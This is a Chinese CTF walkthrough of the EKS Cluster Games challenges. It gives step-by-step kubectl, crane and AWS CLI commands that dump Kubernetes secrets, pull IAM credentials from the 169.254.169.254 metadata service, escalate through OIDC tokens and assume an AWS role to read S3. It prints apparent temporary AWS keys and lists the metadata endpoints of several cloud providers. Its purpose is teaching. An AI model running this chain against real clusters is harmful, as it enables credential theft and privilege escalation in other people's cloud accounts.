初探云原生安全之EKS CLUSTER GAMES
字数 1840 2025-08-18 11:36:53

云原生安全之EKS CLUSTER GAMES实战教学

1. AWS EKS基础概念

EKS (Elastic Kubernetes Service) 是AWS提供的托管Kubernetes服务,简化了在AWS云环境中运行Kubernetes的过程。

核心组件:

  • Pod: Kubernetes集群的基本执行单元,可包含一个或多个容器
  • Secrets: 用于存储敏感数据(密码、OAuth令牌、SSH密钥等)的对象

2. Challenge 1: 获取Secrets中的Flag

目标: 列出集群中所有secrets并找到flag

操作步骤:

# 列出所有secrets
kubectl get secrets -o yaml

# 或查看特定secret
kubectl get secrets log-rotate -o yaml

关键点:

  • -o yaml 参数以YAML格式输出,便于阅读
  • 需要具备secrets的get和list权限

3. Challenge 2: 检查Container Registries

目标: 通过imagePullSecrets获取私有仓库凭证

操作步骤:

  1. 查看pods配置:
kubectl get pods -o yaml
  1. 查找imagePullSecrets字段
  2. 获取对应的secret:
kubectl get secrets registry-pull-secrets-780bab1d -o yaml
  1. 解码dockerconfigjson的auth字段:
echo "base64编码字符串" | base64 -d
  1. 使用crane登录Docker Hub:
crane auth login index.docker.io -u 用户名 -p 密码
  1. 读取配置获取flag:
crane config base_ext_image | jq

关键点:

  • imagePullSecrets用于拉取私有容器镜像的认证
  • crane工具用于管理容器镜像

4. Challenge 3: 检查ECR镜像层

目标: 获取ECR凭证并检查镜像层中的秘密

操作步骤:

  1. 获取EC2实例元数据:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/eks-challenge-cluster-nodegroup-NodeInstanceRole | jq
  1. 设置AWS凭证环境变量:
export AWS_ACCESS_KEY_ID=ASIA2AVYNEVM6EK2U6GS
export AWS_SECRET_ACCESS_KEY=/oE7RUuRIldHrxfk8uPHD+7/gPKZVesTvQcANHQG
export AWS_SESSION_TOKEN=FwoGZXIvYXdzEK...
  1. 获取ECR登录密码并登录:
aws ecr get-login-password | crane auth login 688655246681.dkr.ecr.us-west-1.amazonaws.com -u AWS --password-stdin
  1. 读取配置获取flag:
crane config 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01 | jq

关键点:

  • 169.254.169.254是AWS元数据服务地址
  • 通过实例IAM角色获取临时凭证

5. Challenge 4: 提升到节点服务账户

目标: 从受限pod访问EKS节点的权限服务账户

操作步骤:

  1. 检查当前身份:
aws sts get-caller-identity
  1. 获取EKS集群token:
aws eks get-token --cluster-name eks-challenge-cluster
  1. 创建具有OIDC权限的token:
kubectl create token debug-sa --audience sts.amazonaws.com --token="ey..."
  1. 使用token获取secrets:
kubectl get secrets -o yaml --token="ey..."

关键点:

  • 必须指定--audience sts.amazonaws.com参数
  • 通过OIDC实现身份验证

6. Challenge 5: 从EKS迁移到AWS账户

目标: 获取s3access-sa服务账户的AWS角色并读取S3中的flag

操作步骤:

  1. 获取EKS集群token:
aws eks get-token --cluster-name eks-challenge-cluster
  1. 创建OIDC token:
kubectl create token debug-sa --audience sts.amazonaws.com --token="ey..."
  1. 使用token获取AWS角色凭证:
aws sts assume-role-with-web-identity \
  --role-arn arn:aws:iam::688655246681:role/challengeEksS3Role \
  --role-session-name payload \
  --web-identity-token ey...
  1. 设置环境变量:
export AWS_ACCESS_KEY_ID=ASIA2AVYNEVMYUPBUWGM
export AWS_SECRET_ACCESS_KEY=lUFmyh0PxgngR6vxQflDz8KhkmUpgqGRbjew4XbN
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEJ...
  1. 读取S3中的flag:
aws s3 cp s3://challenge-flag-bucket-3ff1ae2/flag - | cat

关键点:

  • 通过web identity token获取临时凭证
  • S3存储桶访问需要正确权限

7. 公有云元数据服务地址汇总

云服务商 元数据地址
AWS http://instance-data, http://169.254.169.254
Google Cloud http://169.254.169.254, http://metadata.google.internal
Azure http://169.254.169.254
Digital Ocean http://169.254.169.254
Alibaba Cloud http://100.100.100.200
Tencent Cloud http://metadata.tencentyun.com

8. 安全总结

  1. Secrets管理: 确保敏感信息存储在secrets中而非配置文件中
  2. 权限控制: 遵循最小权限原则,限制pod和服务账户的权限
  3. 镜像安全: 检查容器镜像层中可能隐藏的敏感信息
  4. 元数据保护: 限制对云服务元数据API的访问
  5. OIDC集成: 使用OIDC实现安全的身份验证和授权

通过这系列挑战,我们学习了从基础的secrets获取到复杂的权限提升和跨服务访问的完整云原生安全攻防技术。

云原生安全之EKS CLUSTER GAMES实战教学 1. AWS EKS基础概念 EKS (Elastic Kubernetes Service) 是AWS提供的托管Kubernetes服务,简化了在AWS云环境中运行Kubernetes的过程。 核心组件 : Pod : Kubernetes集群的基本执行单元,可包含一个或多个容器 Secrets : 用于存储敏感数据(密码、OAuth令牌、SSH密钥等)的对象 2. Challenge 1: 获取Secrets中的Flag 目标 : 列出集群中所有secrets并找到flag 操作步骤 : 关键点 : -o yaml 参数以YAML格式输出,便于阅读 需要具备secrets的get和list权限 3. Challenge 2: 检查Container Registries 目标 : 通过imagePullSecrets获取私有仓库凭证 操作步骤 : 查看pods配置: 查找imagePullSecrets字段 获取对应的secret: 解码dockerconfigjson的auth字段: 使用crane登录Docker Hub: 读取配置获取flag: 关键点 : imagePullSecrets用于拉取私有容器镜像的认证 crane工具用于管理容器镜像 4. Challenge 3: 检查ECR镜像层 目标 : 获取ECR凭证并检查镜像层中的秘密 操作步骤 : 获取EC2实例元数据: 设置AWS凭证环境变量: 获取ECR登录密码并登录: 读取配置获取flag: 关键点 : 169.254.169.254是AWS元数据服务地址 通过实例IAM角色获取临时凭证 5. Challenge 4: 提升到节点服务账户 目标 : 从受限pod访问EKS节点的权限服务账户 操作步骤 : 检查当前身份: 获取EKS集群token: 创建具有OIDC权限的token: 使用token获取secrets: 关键点 : 必须指定 --audience sts.amazonaws.com 参数 通过OIDC实现身份验证 6. Challenge 5: 从EKS迁移到AWS账户 目标 : 获取s3access-sa服务账户的AWS角色并读取S3中的flag 操作步骤 : 获取EKS集群token: 创建OIDC token: 使用token获取AWS角色凭证: 设置环境变量: 读取S3中的flag: 关键点 : 通过web identity token获取临时凭证 S3存储桶访问需要正确权限 7. 公有云元数据服务地址汇总 | 云服务商 | 元数据地址 | |----------------|-----------------------------------------------| | AWS | http://instance-data, http://169.254.169.254 | | Google Cloud | http://169.254.169.254, http://metadata.google.internal | | Azure | http://169.254.169.254 | | Digital Ocean | http://169.254.169.254 | | Alibaba Cloud | http://100.100.100.200 | | Tencent Cloud | http://metadata.tencentyun.com | 8. 安全总结 Secrets管理 : 确保敏感信息存储在secrets中而非配置文件中 权限控制 : 遵循最小权限原则,限制pod和服务账户的权限 镜像安全 : 检查容器镜像层中可能隐藏的敏感信息 元数据保护 : 限制对云服务元数据API的访问 OIDC集成 : 使用OIDC实现安全的身份验证和授权 通过这系列挑战,我们学习了从基础的secrets获取到复杂的权限提升和跨服务访问的完整云原生安全攻防技术。